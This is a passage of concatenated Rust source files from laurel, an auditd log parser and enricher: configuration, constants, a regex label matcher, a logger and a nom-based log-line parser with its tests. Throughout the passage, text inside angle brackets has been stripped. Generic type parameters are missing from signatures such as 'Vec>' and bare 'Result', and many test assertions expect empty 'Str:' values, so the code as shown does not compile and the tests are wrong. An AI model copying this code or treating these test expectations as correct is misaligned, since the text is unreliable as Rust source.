Transform::default(), translate: Translate::default(), enrich: Enrich::default(), label_process: LabelProcess::default(), filter: Filter::default(), } } } impl std::fmt::Display for Config { fn fmt(&self, fmt: &mut std::fmt::Formatter) -> Result<(), std::fmt::Error> { write!( fmt, "(user={} directory={} statusreport-period={} file={} users={} size={} generations={})", self.user.clone().unwrap_or_else(|| "n/a".to_string()), self.directory .clone() .unwrap_or_else(|| PathBuf::from(".")) .display(), self.statusreport_period.unwrap_or(0), self.auditlog.file.to_string_lossy(), self.auditlog .users .clone() .unwrap_or_else(|| vec!["n/a".to_string()]) .join(","), self.auditlog.size.unwrap_or(0), self.auditlog.generations.unwrap_or(0) ) } } impl Config { pub fn make_coalesce_settings(&self) -> Settings { Settings { execve_argv_list: self.transform.execve_argv.contains(&ArrayOrString::Array), execve_argv_string: self.transform.execve_argv.contains(&ArrayOrString::String), execve_argv_limit_bytes: self.transform.execve_argv_limit_bytes, execve_env: self .enrich .execve_env .iter() .map(|s| s.as_bytes().to_vec()) .collect(), enrich_container: self.enrich.container, enrich_pid: self.enrich.pid, enrich_parent_info: self.enrich.parent_info, enrich_script: self.enrich.script, proc_label_keys: self .label_process .label_keys .iter() .map(|s| s.as_bytes().to_vec()) .collect(), proc_propagate_labels: self .label_process .propagate_labels .iter() .map(|s| s.as_bytes().to_vec()) .collect(), translate_universal: self.translate.universal, translate_userdb: self.translate.userdb, drop_translated: self.translate.drop_raw, label_exe: self.label_process.label_exe.clone(), unlabel_exe: self.label_process.unlabel_exe.clone(), label_script: self.label_process.label_script.clone(), unlabel_script: self.label_process.unlabel_script.clone(), filter_keys: self .filter .filter_keys .iter() .map(|s| s.as_bytes().to_vec()) .collect(), filter_labels: self .filter .filter_labels .iter() .map(|s| s.as_bytes().to_vec()) .collect(), filter_null_keys: self.filter.filter_null_keys, filter_raw_lines: self.filter.filter_raw_lines.clone(), } } } #[cfg(test)] mod test { use super::*; use std::path::Path; #[test] fn simple() { let c: Config = toml::de::from_str( r#" user = "somebody" directory = "/path/to/somewhere" statusreport-period = 86400 [auditlog] file = "somefile" read-users = ["splunk"] "#, ) .unwrap(); println!("{:#?}", &c); assert_eq!(c.user, Some("somebody".to_string())); assert_eq!( c.directory, Some(Path::new("/path/to/somewhere").to_path_buf()) ); assert_eq!(c.statusreport_period, Some(86400)); assert_eq!( c.auditlog, Logfile { file: Path::new("somefile").to_path_buf(), users: Some(vec!["splunk".to_string()]), size: None, generations: None, line_prefix: None, } ); } #[test] fn parse_defaults() { let cfg_default = toml::de::from_str::("").unwrap(); println!("{}", toml::to_string(&cfg_default).unwrap()); println!("--------------------"); let cfg_empty_sections = toml::de::from_str::( r#" [auditlog] [filterlog] [debug] [transform] [translate] [enrich] [label-process] [filter] "#, ) .unwrap(); println!("{}", toml::to_string(&cfg_empty_sections).unwrap()); // FIXME This does not work because HashSet ordering is not stable. // assert!(toml::to_string(&cfg_default) == toml::to_string(&cfg_empty_sections)); } } laurel-0.5.6/src/const.rs.in000064400000000000000000000024751046102023000140200ustar 00000000000000use lazy_static::lazy_static; use std::collections::HashMap; #[derive(PartialEq,Eq,Clone,Copy)] pub enum FieldType { Encoded, Numeric, NumericDec, NumericHex, NumericOct, } lazy_static! { pub static ref EVENT_IDS: HashMap<&'static[u8], u32> = { let els: &[(&str, u32)] = &[ /* @EVENT_CONST@ */ ]; let mut hm = HashMap::with_capacity(els.len()); for (name, value) in els { hm.insert(name.as_bytes(), *value); } hm }; pub static ref EVENT_NAMES: HashMap = { let els: &[(&str, u32)] = &[ /* @EVENT_CONST@ */ ]; let mut hm = HashMap::with_capacity(els.len()); for (name, value) in els { hm.insert(*value, *name); } hm }; pub static ref FIELD_TYPES: HashMap<&'static[u8],FieldType> = { let els: &[(&str, FieldType)] = &[ /* @FIELD_TYPES@ */ ]; let mut hm = HashMap::with_capacity(els.len()); for (name, typ) in els { hm.insert(name.as_bytes(), *typ); } hm }; pub static ref SYSCALL_NAMES: HashMap<&'static str, HashMap> = { let mut hm = HashMap::new(); /* @SYSCALL_BUILD@ */ hm }; } pub mod msg_type { use crate::types::MessageType; /* @CONSTANTS@ */ } laurel-0.5.6/src/constants.rs000064400000000000000000000062001046102023000142670ustar 00000000000000include!(concat!(env!("OUT_DIR"), "/const.rs")); /* Note: The table below has been generated by something like the following script: ``` #!/bin/sh set -eu LINUX=~/src/linux echo '#include ' \ | cpp -dM -D__LINUX_COMPILER_TYPES_H -I "${LINUX}/include/uapi" -I "${LINUX}/tools/include" \ | sed -ne '/^#define AUDIT_ARCH_/ { ; s/^.* \(AUDIT_ARCH_[A-Z0-9_]*\) .*$/\1/; p }' \ | sort -u \ | ( \ cat< #include char* lc(char* s) { static char l[64]; for (int i=0; s[i] != 0; i++) { if (s[i] >= 'A' && s[i] <= 'Z') l[i] = s[i] | 0x20; else l[i] = s[i]; l[i+1] = 0; } return l; } int main() { EOF while read token; do echo 'printf("(\"%s\", 0x%08x),\\n", lc("'$token'") + 11, '$token');' done echo "}" ) \ | gcc -Wall -o print-audit-archs -xc - ./print-audit-archs rm -f print-audit-archs ``` */ const ARCHS: &[(&str, u32)] = &[ ("aarch64", 0xc00000b7), ("alpha", 0xc0009026), ("arcompact", 0x4000005d), ("arcompactbe", 0x0000005d), ("arcv2", 0x400000c3), ("arcv2be", 0x000000c3), ("arm", 0x40000028), ("armeb", 0x00000028), ("c6x", 0x4000008c), ("c6xbe", 0x0000008c), ("cris", 0x4000004c), ("csky", 0x400000fc), ("frv", 0x00005441), ("h8300", 0x0000002e), ("hexagon", 0x000000a4), ("i386", 0x40000003), ("ia64", 0xc0000032), ("loongarch32", 0x40000102), ("loongarch64", 0xc0000102), ("m32r", 0x00000058), ("m68k", 0x00000004), ("microblaze", 0x000000bd), ("mips", 0x00000008), ("mips64", 0x80000008), ("mips64n32", 0xa0000008), ("mipsel", 0x40000008), ("mipsel64", 0xc0000008), ("mipsel64n32", 0xe0000008), ("nds32", 0x400000a7), ("nds32be", 0x000000a7), ("nios2", 0x40000071), ("openrisc", 0x0000005c), ("parisc", 0x0000000f), ("parisc64", 0x8000000f), ("ppc", 0x00000014), ("ppc64", 0x80000015), ("ppc64le", 0xc0000015), ("riscv32", 0x400000f3), ("riscv64", 0xc00000f3), ("s390", 0x00000016), ("s390x", 0x80000016), ("sh", 0x0000002a), ("sh64", 0x8000002a), ("shel", 0x4000002a), ("shel64", 0xc000002a), ("sparc", 0x00000002), ("sparc64", 0x8000002b), ("tilegx", 0xc00000bf), ("tilegx32", 0x400000bf), ("tilepro", 0x400000bc), ("unicore", 0x4000006e), ("x86_64", 0xc000003e), ("xtensa", 0x0000005e), ]; lazy_static! { pub static ref ARCH_IDS: HashMap<&'static str, u32> = { let mut hm = HashMap::with_capacity(ARCHS.len()); for (name, value) in ARCHS { hm.insert(*name, *value); } hm }; pub static ref ARCH_NAMES: HashMap = { let mut hm = HashMap::with_capacity(ARCHS.len()); for (name, value) in ARCHS { hm.insert(*value, *name); } hm }; } pub fn initialize() { lazy_static::initialize(&EVENT_IDS); lazy_static::initialize(&EVENT_NAMES); lazy_static::initialize(&FIELD_TYPES); lazy_static::initialize(&SYSCALL_NAMES); lazy_static::initialize(&ARCH_IDS); } laurel-0.5.6/src/label_matcher.rs000064400000000000000000000046751046102023000150530ustar 00000000000000use std::fmt; use regex::bytes::RegexSet; use serde::de::{self, Deserializer, MapAccess, Visitor}; use serde::ser::{SerializeMap, Serializer}; use serde::{Deserialize, Serialize}; #[derive(Clone, Debug)] pub struct LabelMatcher { set: RegexSet, tags: Vec>, } impl LabelMatcher { pub fn new(exprs: &[(&str, &str)]) -> Result { let mut regexes = Vec::with_capacity(exprs.len()); let mut tags = Vec::with_capacity(exprs.len()); for (r, t) in exprs { regexes.push(r); tags.push(Vec::from(t.as_bytes())); } let set = RegexSet::new(regexes)?; Ok(Self { set, tags }) } // Return the list of tags that are supposed to describe text pub fn matches(&self, text: &[u8]) -> Vec<&[u8]> { self.set .matches(text) .iter() .map(|i| self.tags[i].as_ref()) .collect() } } impl Serialize for LabelMatcher { // This is a lossy serializer that is intended to be used for debugging only. fn serialize(&self, s: S) -> Result { let mut map = s.serialize_map(None)?; let mut keys = self.set.patterns().iter(); let mut values = self.tags.iter(); while let (Some(k), Some(v)) = (keys.next(), values.next()) { map.serialize_entry(k, &String::from_utf8_lossy(v))?; } map.end() } } impl<'de> Deserialize<'de> for LabelMatcher { fn deserialize>(deserializer: D) -> Result { deserializer.deserialize_map(LabelMatcherVisitor {}) } } struct LabelMatcherVisitor {} impl<'de> Visitor<'de> for LabelMatcherVisitor { type Value = LabelMatcher; fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result { write!(formatter, "a non-empty regexp=>label map") } fn visit_map(self, mut access: A) -> Result where A: MapAccess<'de>, { let mut kvs: Vec<(String, String)> = Vec::new(); while let Some((k, v)) = access.next_entry()? { kvs.push((k, v)); } if kvs.is_empty() { Err(de::Error::custom("empty hash")) } else { let kvs = kvs .iter() .map(|(k, v)| (k.as_ref(), v.as_ref())) .collect::>(); Ok(LabelMatcher::new(&kvs).map_err(de::Error::custom)?) } } } laurel-0.5.6/src/lib.rs000064400000000000000000000005511046102023000130240ustar 00000000000000pub const VERSION: &str = env!("CARGO_PKG_VERSION"); pub mod coalesce; pub mod config; pub mod constants; pub mod label_matcher; pub mod logger; pub mod parser; pub mod proc; #[cfg(all(feature = "procfs", target_os = "linux"))] pub mod procfs; pub mod quoted_string; pub mod rotate; #[cfg(target_os = "linux")] pub mod sockaddr; pub mod types; pub mod userdb; laurel-0.5.6/src/logger.rs000064400000000000000000000023741046102023000135420ustar 00000000000000use std::env::args; use std::ffi::OsStr; use std::path::PathBuf; use log; use simple_logger; use syslog; pub struct Logger { simple: simple_logger::SimpleLogger, syslog: Option, } impl Default for Logger { fn default() -> Self { let cmd: PathBuf = args().next().unwrap_or_else(|| "".into()).into(); let simple = simple_logger::SimpleLogger::new(); let syslog = syslog::unix(syslog::Formatter3164 { facility: syslog::Facility::LOG_DAEMON, hostname: None, process: cmd .file_name() .unwrap_or_else(|| OsStr::new("")) .to_string_lossy() .into(), pid: std::process::id(), }) .map(syslog::BasicLogger::new) .ok(); Logger { simple, syslog } } } impl log::Log for Logger { fn enabled(&self, _metadata: &log::Metadata<'_>) -> bool { true } fn log(&self, record: &log::Record<'_>) { self.simple.log(record); if let Some(l) = self.syslog.as_ref() { l.log(record) } } fn flush(&self) { self.simple.flush(); if let Some(l) = self.syslog.as_ref() { l.flush() } } } laurel-0.5.6/src/parser.rs000064400000000000000000000716241046102023000135630ustar 00000000000000use std::convert::{From, TryFrom}; use std::ops::Range; use std::str; use crate::constants::*; use crate::types::*; use nom::{ branch::*, bytes::complete::*, character::complete::*, character::*, combinator::*, multi::*, sequence::*, IResult, Offset, }; use nom::character::complete::{i64 as dec_i64, u16 as dec_u16, u32 as dec_u32, u64 as dec_u64}; use thiserror::Error; #[derive(Debug, Error)] pub enum ParseError { #[error("cannot parse header: {}", String::from_utf8_lossy(.0))] MalformedHeader(Vec), #[error("cannot parse body: {}", String::from_utf8_lossy(.0))] MalformedBody(Vec), #[error("garbage at end of message: {}", String::from_utf8_lossy(.0))] TrailingGarbage(Vec), #[error("{id} ({ty}) can't hex-decode {}", String::from_utf8_lossy(.hex_str))] HexDecodeError { ty: MessageType, id: EventID, hex_str: Vec, }, } /// Parse a single log line as produced by _auditd(8)_ /// /// If `skip_enriched` is set and _auditd_ has been configured to /// produce `log_format=ENRICHED` logs, i.e. to resolve uid, gid, /// syscall, arch, sockaddr fields, those resolved values are dropped /// by the parser. #[allow(clippy::type_complexity)] pub fn parse( mut raw: Vec, skip_enriched: bool, ) -> Result<(Option>, MessageType, EventID, Record), ParseError> { let (rest, (nd, ty, id)) = parse_header(&raw).map_err(|_| ParseError::MalformedHeader(raw.clone()))?; let (rest, body) = parse_body(rest, ty, skip_enriched) .map_err(|_| ParseError::MalformedBody(rest.to_vec()))?; if !rest.is_empty() { return Err(ParseError::TrailingGarbage(rest.to_vec())); } let nd = nd.map(|s| s.to_vec()); let mut hex_strides = Vec::with_capacity( body.iter() .filter(|(_, v)| matches!(v, PValue::HexStr(_))) .count(), ); let mut elems = Vec::with_capacity(body.len()); for (k, v) in body { let v = match &v { PValue::Empty => Value::Empty, PValue::Number(n) => Value::Number(n.clone()), PValue::Str(s, q) => Value::Str(to_range(&raw, s), *q), PValue::List(vs) => Value::List( vs.iter() .map(|s| Value::Str(to_range(&raw, s), Quote::None)) .collect::>(), ), PValue::HexStr(s) => { // Record position of hex string. In-place Conversion // happens below. let o = raw.offset(s); hex_strides.push(o..o + s.len()); Value::Str(o..o + s.len() / 2, Quote::None) } }; elems.push((k, v)); } for stride in hex_strides { for i in 0..stride.len() / 2 { // safety: The area to be hex-decoded has been recognized // as valid ASCII (and thus UTF-8) by the nom parser. let d = unsafe { str::from_utf8_unchecked(&raw[stride.start + 2 * i..stride.start + 2 * i + 2]) }; raw[stride.start + i] = u8::from_str_radix(d, 16).map_err(|_| ParseError::HexDecodeError { id, ty, hex_str: raw[stride.clone()].to_vec(), })?; } } Ok((nd, ty, id, Record { elems, raw })) } #[inline(always)] fn to_range(line: &[u8], subset: &[u8]) -> Range { let s = line.offset(subset); s..s + subset.len() } /// Recognize the header: node, type, event identifier #[inline(always)] #[allow(clippy::type_complexity)] fn parse_header(input: &[u8]) -> IResult<&[u8], (Option<&[u8]>, MessageType, EventID)> { tuple(( opt(terminated(parse_node, is_a(" "))), terminated(parse_type, is_a(" ")), parse_msgid, ))(input) } /// Recognize the node name #[inline(always)] fn parse_node(input: &[u8]) -> IResult<&[u8], &[u8]> { preceded(tag("node="), is_not(" \t\r\n"))(input) } /// Recognize event type #[inline(always)] fn parse_type(input: &[u8]) -> IResult<&[u8], MessageType> { preceded( tag("type="), alt(( map_res( recognize(many1_count(alt((alphanumeric1, tag("_"))))), |s| { EVENT_IDS .get(s) .ok_or(format!("unknown event id {}", String::from_utf8_lossy(s))) .map(|n| MessageType(*n)) }, ), map(delimited(tag("UNKNOWN["), dec_u32, tag("]")), MessageType), )), )(input) } /// Recognize the "msg=audit(…):" event identifier #[inline(always)] fn parse_msgid(input: &[u8]) -> IResult<&[u8], EventID> { map( tuple(( preceded(tag("msg=audit("), dec_u64), delimited(tag("."), dec_u64, tag(":")), terminated(dec_u32, pair(tag("):"), space0)), )), |(sec, msec, sequence)| EventID { timestamp: 1000 * sec + msec, sequence, }, )(input) } #[derive(Clone)] enum PValue<'a> { Empty, HexStr(&'a [u8]), Str(&'a [u8], Quote), List(Vec<&'a [u8]>), Number(Number), } /// Recognize the body: Multiple key/value pairs, with special cases /// for some irregular messages #[inline(always)] fn parse_body( input: &[u8], ty: MessageType, skip_enriched: bool, ) -> IResult<&[u8], Vec<(Key, PValue)>> { // Handle some corner cases that don't fit the general key=value // scheme. let (input, special) = match ty { msg_type::AVC => opt(map( tuple(( preceded( pair(tag("avc:"), space0), alt((tag("granted"), tag("denied"))), ), delimited( tuple((space0, tag("{"), space0)), many1(terminated(parse_identifier, space0)), tuple((tag("}"), space0, tag("for"), space0)), ), )), |(k, v)| (Key::Name(NVec::from(k)), PValue::List(v)), ))(input)?, msg_type::TTY => { let (input, _) = opt(tag("tty "))(input)?; (input, None) } msg_type::MAC_POLICY_LOAD => { let (input, _) = opt(tag("policy loaded "))(input)?; (input, None) } _ => opt(map( terminated(tag("netlabel"), pair(tag(":"), space0)), |s| (Key::Name(NVec::from(s)), PValue::Empty), ))(input)?, }; let (input, mut kv) = if skip_enriched { terminated( separated_list0(tag(b" "), |input| parse_kv(input, ty)), alt(( value((), tuple((tag("\x1d"), many1(none_of("\n")), tag("\n")))), value((), tag("\n")), )), )(input)? } else { terminated( separated_list0(take_while1(|c| c == b' ' || c == b'\x1d'), |input| { parse_kv(input, ty) }), newline, )(input)? }; if let Some(s) = special { kv.push(s) } Ok((input, kv)) } /// Recognize one key/value pair #[inline(always)] fn parse_kv(input: &[u8], ty: MessageType) -> IResult<&[u8], (Key, PValue)> { let (input, key) = match ty { // Special case for execve arguments: aX, aX[Y], aX_len msg_type::EXECVE if !input.is_empty() && input[0] == b'a' && !input.starts_with(b"argc") => { terminated( alt((parse_key_a_x_len, parse_key_a_xy, parse_key_a_x)), tag("="), )(input) } // Special case for syscall params: aX msg_type::SYSCALL => terminated(alt((parse_key_a_x, parse_key)), tag("="))(input), _ => terminated(parse_key, tag("="))(input), }?; let (input, value) = match (ty, &key) { (msg_type::SYSCALL, Key::Arg(_, None)) => map( recognize(terminated( many1_count(take_while1(is_hex_digit)), peek(take_while1(is_sep)), )), |s| { let ps = unsafe { str::from_utf8_unchecked(s) }; match u64::from_str_radix(ps, 16) { Ok(n) => PValue::Number(Number::Hex(n)), Err(_) => PValue::Str(s, Quote::None), } }, )(input)?, (msg_type::SYSCALL, Key::Common(c)) => parse_common(input, ty, *c)?, (msg_type::EXECVE, Key::Arg(_, _)) => parse_encoded(input)?, (msg_type::EXECVE, Key::ArgLen(_)) => parse_dec(input)?, (_, Key::Name(name)) => parse_named(input, ty, name)?, (_, Key::Common(c)) => parse_common(input, ty, *c)?, (_, Key::NameUID(name)) | (_, Key::NameGID(name)) => { alt((parse_dec, |input| parse_unspec_value(input, ty, name)))(input)? } _ => parse_encoded(input)?, }; Ok((input, (key, value))) } #[inline(always)] fn parse_named<'a>(input: &'a [u8], ty: MessageType, name: &[u8]) -> IResult<&'a [u8], PValue<'a>> { match FIELD_TYPES.get(name) { Some(&FieldType::Encoded) => { alt((parse_encoded, |input| parse_unspec_value(input, ty, name)))(input) } Some(&FieldType::NumericHex) => { alt((parse_hex, |input| parse_unspec_value(input, ty, name)))(input) } Some(&FieldType::NumericDec) => { alt((parse_dec, |input| parse_unspec_value(input, ty, name)))(input) } Some(&FieldType::NumericOct) => { alt((parse_oct, |input| parse_unspec_value(input, ty, name)))(input) } // FIXME: Some(&FieldType::Numeric) _ => alt((parse_encoded, |input| parse_unspec_value(input, ty, name)))(input), } } #[inline(always)] fn parse_common(input: &[u8], ty: MessageType, c: Common) -> IResult<&[u8], PValue> { let name = <&str>::from(c).as_bytes(); match c { Common::Arch => alt((parse_hex, |input| parse_unspec_value(input, ty, name)))(input), Common::Syscall | Common::Items | Common::Pid | Common::PPid | Common::Exit | Common::Ses => alt((parse_dec, |input| parse_unspec_value(input, ty, name)))(input), Common::Success | Common::Tty | Common::Comm | Common::Exe | Common::Subj | Common::Key => { alt((parse_encoded, |input| parse_unspec_value(input, ty, name)))(input) } } } /// Recognize encoded value: /// /// May be double-quoted string, hex-encoded blob, (null), ?. #[inline(always)] fn parse_encoded(input: &[u8]) -> IResult<&[u8], PValue> { alt(( map(parse_str_dq_safe, |s| PValue::Str(s, Quote::Double)), terminated( map( recognize(many1_count(take_while_m_n(2, 2, is_hex_digit))), PValue::HexStr, ), peek(take_while1(is_sep)), ), terminated( value(PValue::Empty, alt((tag("(null)"), tag("?")))), peek(take_while1(is_sep)), ), ))(input) } /// Recognize hexadecimal value #[inline(always)] fn parse_hex(input: &[u8]) -> IResult<&[u8], PValue> { map_res( terminated(take_while1(is_hex_digit), peek(take_while1(is_sep))), |digits| -> Result<_, std::num::ParseIntError> { let digits = unsafe { str::from_utf8_unchecked(digits) }; Ok(PValue::Number(Number::Hex(u64::from_str_radix( digits, 16, )?))) }, )(input) } /// Recognize decimal value #[inline(always)] fn parse_dec(input: &[u8]) -> IResult<&[u8], PValue> { map(terminated(dec_i64, peek(take_while1(is_sep))), |n| { PValue::Number(Number::Dec(n)) })(input) } /// Recognize octal value #[inline(always)] fn parse_oct(input: &[u8]) -> IResult<&[u8], PValue> { map_res( terminated(take_while1(is_oct_digit), peek(take_while1(is_sep))), |digits| -> Result<_, std::num::ParseIntError> { let digits = unsafe { str::from_utf8_unchecked(digits) }; Ok(PValue::Number(Number::Oct(u64::from_str_radix(digits, 8)?))) }, )(input) } #[inline(always)] fn parse_unspec_value<'a>( input: &'a [u8], ty: MessageType, name: &[u8], ) -> IResult<&'a [u8], PValue<'a>> { // work around apparent AppArmor breakage match (ty, name) { (_, b"subj") => { if let Ok((input, s)) = recognize(tuple(( opt(tag("=")), parse_str_unq, opt(delimited(tag(" ("), parse_identifier, tag(")"))), )))(input) { return Ok((input, PValue::Str(s, Quote::None))); } } (msg_type::AVC, b"info") => { if let Ok((input, s)) = parse_str_dq(input) { return Ok((input, PValue::Str(s, Quote::None))); } } _ => (), }; alt(( terminated( map(take_while1(is_safe_unquoted_chr), |s| { PValue::Str(s, Quote::None) }), peek(take_while1(is_sep)), ), map(parse_kv_sq, |s| PValue::Str(s, Quote::Single)), map(parse_str_sq, |s| PValue::Str(s, Quote::Single)), map(parse_str_dq, |s| PValue::Str(s, Quote::Double)), map(parse_kv_braced, |s| PValue::Str(s, Quote::Braces)), map(parse_str_braced, |s| PValue::Str(s, Quote::Braces)), value(PValue::Empty, peek(take_while1(is_sep))), ))(input) } #[inline(always)] fn parse_str_sq(input: &[u8]) -> IResult<&[u8], &[u8]> { delimited(tag("'"), take_while(|c| c != b'\''), tag("'"))(input) } #[inline(always)] fn parse_str_dq_safe(input: &[u8]) -> IResult<&[u8], &[u8]> { delimited(tag("\""), take_while(is_safe_chr), tag("\""))(input) } #[inline(always)] fn parse_str_dq(input: &[u8]) -> IResult<&[u8], &[u8]> { delimited(tag("\""), take_while(|c| c != b'"'), tag("\""))(input) } #[inline(always)] fn parse_str_braced(input: &[u8]) -> IResult<&[u8], &[u8]> { delimited(tag("{ "), take_until(" }"), tag(" }"))(input) } #[inline(always)] fn parse_str_unq(input: &[u8]) -> IResult<&[u8], &[u8]> { take_while(is_safe_chr)(input) } #[inline(always)] fn parse_str_unq_inside_sq(input: &[u8]) -> IResult<&[u8], &[u8]> { take_while(|c| is_safe_chr(c) && c != b'\'')(input) } /// More "correct" variant of parse_str_sq #[inline(always)] fn parse_kv_sq(input: &[u8]) -> IResult<&[u8], &[u8]> { delimited( tag("'"), recognize(separated_list0( tag(" "), tuple(( recognize(pair(alpha1, many0_count(alt((alphanumeric1, is_a("-_")))))), tag("="), alt((parse_str_dq, parse_str_braced, parse_str_unq_inside_sq)), )), )), tag("'"), )(input) } /// More "correct" variant of parse_str_braced #[inline(always)] fn parse_kv_braced(input: &[u8]) -> IResult<&[u8], &[u8]> { delimited( tag("{ "), recognize(separated_list0( tag(" "), tuple(( recognize(pair(alpha1, many0_count(alt((alphanumeric1, is_a("-_")))))), tag("="), alt((parse_str_sq, parse_str_dq, parse_str_unq)), )), )), tag(" }"), )(input) } /// Recognize regular keys of key/value pairs #[inline(always)] fn parse_key(input: &[u8]) -> IResult<&[u8], Key> { map( recognize(pair(alpha1, many0_count(alt((alphanumeric1, is_a("-_")))))), |s: &[u8]| { if let Ok(c) = Common::try_from(s) { Key::Common(c) } else if s.ends_with(b"uid") { Key::NameUID(NVec::from(s)) } else if s.ends_with(b"gid") { Key::NameGID(NVec::from(s)) } else { Key::Name(NVec::from(s)) } }, )(input) } /// Recognize length specifier for EXECVE split arguments, e.g. a1_len #[inline(always)] fn parse_key_a_x_len(input: &[u8]) -> IResult<&[u8], Key> { map(delimited(tag("a"), dec_u32, tag("_len")), Key::ArgLen)(input) } /// Recognize EXECVE split arguments, e.g. a1[3] #[inline(always)] fn parse_key_a_xy(input: &[u8]) -> IResult<&[u8], Key> { map( pair( preceded(tag("a"), dec_u32), delimited(tag("["), dec_u16, tag("]")), ), |(x, y)| Key::Arg(x, Some(y)), )(input) } /// Recognize SYSCALL, EXECVE regular argument keys, e.g. a1, a2, a3… #[inline(always)] fn parse_key_a_x(input: &[u8]) -> IResult<&[u8], Key> { map(preceded(tag("a"), u32), |x| Key::Arg(x, None))(input) } /// Recognize identifiers (used in some irregular messages) /// Like [A-Za-z_][A-Za-z0-9_]* #[inline(always)] fn parse_identifier(input: &[u8]) -> IResult<&[u8], &[u8]> { recognize(pair( alt((alpha1, tag("_"))), many0_count(alt((alphanumeric1, tag("_")))), ))(input) } /// Characters permitted in kernel "encoded" strings that would /// otherwise be hex-encoded. #[inline(always)] fn is_safe_chr(c: u8) -> bool { c == b'!' || (b'#'..=b'~').contains(&c) } /// Characters permitted in kernel "encoded" strings, minus /// single-quotes, braces #[inline(always)] fn is_safe_unquoted_chr(c: u8) -> bool { (b'#'..=b'&').contains(&c) || (b'('..=b'z').contains(&c) || c == b'!' || c == b'|' || c == b'~' } /// Separator characters #[inline(always)] fn is_sep(c: u8) -> bool { c == b' ' || c == b'\x1d' || c == b'\n' } #[cfg(test)] mod test { use super::msg_type::*; use super::*; fn do_parse(text: T) -> Result<(Option>, MessageType, EventID, Record), ParseError> where T: AsRef<[u8]>, { parse(Vec::from(text.as_ref()), false) } #[test] fn parser() { // ensure that constant init works assert_eq!(format!("--{}--", EOE), "--EOE--"); assert_eq!(format!("--{}--", MessageType(9999)), "--UNKNOWN[9999]--"); let (_, t, id, _rv) = do_parse(include_bytes!("testdata/line-eoe.txt")).unwrap(); assert_eq!(t, EOE); assert_eq!( id, EventID { timestamp: 1615225617302, sequence: 25836 } ); let (_, t, id, rv) = do_parse(include_bytes!("testdata/line-syscall.txt")).unwrap(); assert_eq!(t, SYSCALL); assert_eq!( id, EventID { timestamp: 1615114232375, sequence: 15558 } ); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!( "arch: Num:<0xc000003e>", "syscall: Num:<59>", "success: Str:", "exit: Num:<0>", "a0: Num:<0x63b29337fd18>", "a1: Num:<0x63b293387d58>", "a2: Num:<0x63b293375640>", "a3: Num:<0xfffffffffffff000>", "items: Num:<2>", "ppid: Num:<10883>", "pid: Num:<10884>", "auid: Num:<1000>", "uid: Num:<0>", "gid: Num:<0>", "euid: Num:<0>", "suid: Num:<0>", "fsuid: Num:<0>", "egid: Num:<0>", "sgid: Num:<0>", "fsgid: Num:<0>", "tty: Str:", "ses: Num:<1>", "comm: Str:", "exe: Str:", "key: Empty", "ARCH: Str:", "SYSCALL: Str:", "AUID: Str:", "UID: Str:", "GID: Str:", "EUID: Str:", "SUID: Str:", "FSUID: Str:", "EGID: Str:", "SGID: Str:", "FSGID: Str:", ) ); let (_, t, id, rv) = do_parse(include_bytes!("testdata/line-execve.txt")).unwrap(); assert_eq!(t, EXECVE); assert_eq!( id, EventID { timestamp: 1614788539386, sequence: 13232 } ); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!("argc: Num:<0>", "a0: Str:") ); let (_, t, id, rv) = do_parse(include_bytes!("testdata/line-path.txt")).unwrap(); assert_eq!(t, PATH); assert_eq!( id, EventID { timestamp: 1614788539386, sequence: 13232 } ); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!( "item: Num:<0>", "name: Str:", "inode: Num:<261214>", "dev: Str:", "mode: Num:<0o100755>", "ouid: Num:<0>", "ogid: Num:<0>", "rdev: Str:<00:00>", "nametype: Str:", "cap_fp: Num:<0x0>", "cap_fi: Num:<0x0>", "cap_fe: Num:<0>", "cap_fver: Num:<0x0>", ) ); let (_, t, id, rv) = do_parse(include_bytes!("testdata/line-path-enriched.txt")).unwrap(); assert_eq!(t, PATH); assert_eq!( id, EventID { timestamp: 1615113648978, sequence: 15219 } ); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!( "item: Num:<1>", "name: Str:", "inode: Num:<262146>", "dev: Str:", "mode: Num:<0o100755>", "ouid: Num:<0>", "ogid: Num:<0>", "rdev: Str:<00:00>", "nametype: Str:", "cap_fp: Num:<0x0>", "cap_fi: Num:<0x0>", "cap_fe: Num:<0>", "cap_fver: Num:<0x0>", "OUID: Str:", "OGID: Str:", ) ); let (_, t, id, rv) = do_parse(include_bytes!("testdata/line-user-acct.txt")).unwrap(); assert_eq!(t, USER_ACCT); assert_eq!( id, EventID { timestamp: 1615113648981, sequence: 15220 } ); assert_eq!(rv.into_iter().map(|(k,v)| format!("{:?}: {:?}", k, v)).collect::>(), vec!("pid: Num:<9460>", "uid: Num:<1000>", "auid: Num:<1000>", "ses: Num:<1>", "msg: Str:", "UID: Str:", "AUID: Str:", )); let (_, t, id, _) = do_parse(include_bytes!("testdata/line-unknown.txt")).unwrap(); assert_eq!(t, BPF); assert_eq!( id, EventID { timestamp: 1626883065201, sequence: 216697 } ); let (_, t, _, rv) = do_parse(include_bytes!("testdata/line-avc-denied.txt")).unwrap(); assert_eq!(t, AVC); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!( "pid: Num:<15381>", "comm: Str:", "capability: Num:<7>", "scontext: Str:", "tcontext: Str:", "tclass: Str:", "permissive: Num:<1>", "denied: List:", ) ); let (_, t, _, rv) = do_parse(include_bytes!("testdata/line-avc-granted.txt")).unwrap(); assert_eq!(t, AVC); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!( "pid: Num:<11209>", "comm: Str:", "scontext: Str:", "tcontext: Str:", "tclass: Str:", "granted: List:", ) ); let (_, t, _, rv) = do_parse(include_bytes!("testdata/line-netlabel.txt")).unwrap(); assert_eq!(t, MAC_UNLBL_ALLOW); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) .collect::>(), vec!( "auid: Num:<0>", "ses: Num:<0>", // FIXME: strings should be numbers "unlbl_accept: Str:<1>", "old: Str:<0>", "AUID: Str:", "netlabel: Empty", ) ); let (_, _, _, rv) = do_parse(include_bytes!("testdata/line-broken-subj1.txt")).unwrap(); assert_eq!( rv.into_iter() .map(|(k, v)| format!("{:?}: {:?}", k, v)) 